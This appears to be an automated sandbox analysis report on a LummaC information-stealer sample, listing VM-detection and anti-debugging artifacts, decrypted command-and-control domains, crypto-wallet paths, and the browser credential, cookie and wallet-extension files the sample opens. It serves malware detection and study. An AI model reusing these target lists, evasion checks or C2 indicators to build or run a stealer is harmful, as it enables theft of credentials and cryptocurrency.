Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000797000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000797000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 1C22.tmp.exe, 00000003.00000002.1661274277.0000000000689000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: xCnwCctDWC.exe, 00000000.00000002.3859689228.0000000000746000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Vz%SystemRoot%\system32\mswsock.dll"
Source: 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

API call chain: ExitProcess graph end node

graph_3-26154

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Code function: 3_2_004402C0 LdrInitializeThunk,

3_2_004402C0

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0042A3D3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0042A3D3

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0041EC5E LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041EC5E

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0042FE5F mov eax, dword ptr fs:[00000030h]	0_2_0042FE5F
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A00C6 mov eax, dword ptr fs:[00000030h]	0_2_006A00C6
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0067092B mov eax, dword ptr fs:[00000030h]	0_2_0067092B
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00670D90 mov eax, dword ptr fs:[00000030h]	0_2_00670D90
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00709ABB push dword ptr fs:[00000030h]	0_2_00709ABB
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00560083 push dword ptr fs:[00000030h]	3_2_00560083
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210092B mov eax, dword ptr fs:[00000030h]	3_2_0210092B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02100D90 mov eax, dword ptr fs:[00000030h]	3_2_02100D90

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0043BBC1 GetProcessHeap,

0_2_0043BBC1

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0042A3D3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0042A3D3
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004104D3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004104D3
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00410666 SetUnhandledExceptionFilter,	0_2_00410666
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0040F911 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040F911
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0069A63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0069A63A
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0068073A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0068073A
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006808CD SetUnhandledExceptionFilter,	0_2_006808CD
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0067FB78 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0067FB78

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: 1C22.tmp.exe	String found in binary or memory: robinsharez.shop
Source: 1C22.tmp.exe	String found in binary or memory: handscreamny.shop
Source: 1C22.tmp.exe	String found in binary or memory: chipdonkeruz.shop
Source: 1C22.tmp.exe	String found in binary or memory: versersleep.shop
Source: 1C22.tmp.exe	String found in binary or memory: crowdwarek.shop
Source: 1C22.tmp.exe	String found in binary or memory: apporholis.shop
Source: 1C22.tmp.exe	String found in binary or memory: femalsabler.shop
Source: 1C22.tmp.exe	String found in binary or memory: soundtappysk.shop
Source: 1C22.tmp.exe	String found in binary or memory: skidjazzyric.click

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Process created: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe "C:\Users\user\AppData\Local\Temp\1C22.tmp.exe"

Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_0041077B cpuid

0_2_0041077B

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_0043B00A
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_004351C0
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_0043B2CD
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_0043B282
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_0043B368
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0043B3F5
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_0043B645
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0043B76E
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_0043B875
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0043B942
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_00434DCD
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_006A5034
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_006AB271
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_006A5427
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_006AB4E9
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_006AB534
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: EnumSystemLocalesW,	0_2_006AB5CF
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_006AB8AC
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_006AB8A3
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_006AB9D5
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetLocaleInfoW,	0_2_006ABADC
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_006ABBA9

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_004103CD GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_004103CD

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_004163EA GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

0_2_004163EA

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 1C22.tmp.exe PID: 7696, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 1C22.tmp.exe	String found in binary or memory: Wallets/Electrum
Source: 1C22.tmp.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 1C22.tmp.exe	String found in binary or memory: window-state.json
Source: 1C22.tmp.exe	String found in binary or memory: Wallets/JAXX New Version
Source: 1C22.tmp.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 1C22.tmp.exe	String found in binary or memory: Wallets/Exodus
Source: 1C22.tmp.exe	String found in binary or memory: Wallets/Ethereum
Source: 1C22.tmp.exe, 00000003.00000002.1661274277.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 1C22.tmp.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
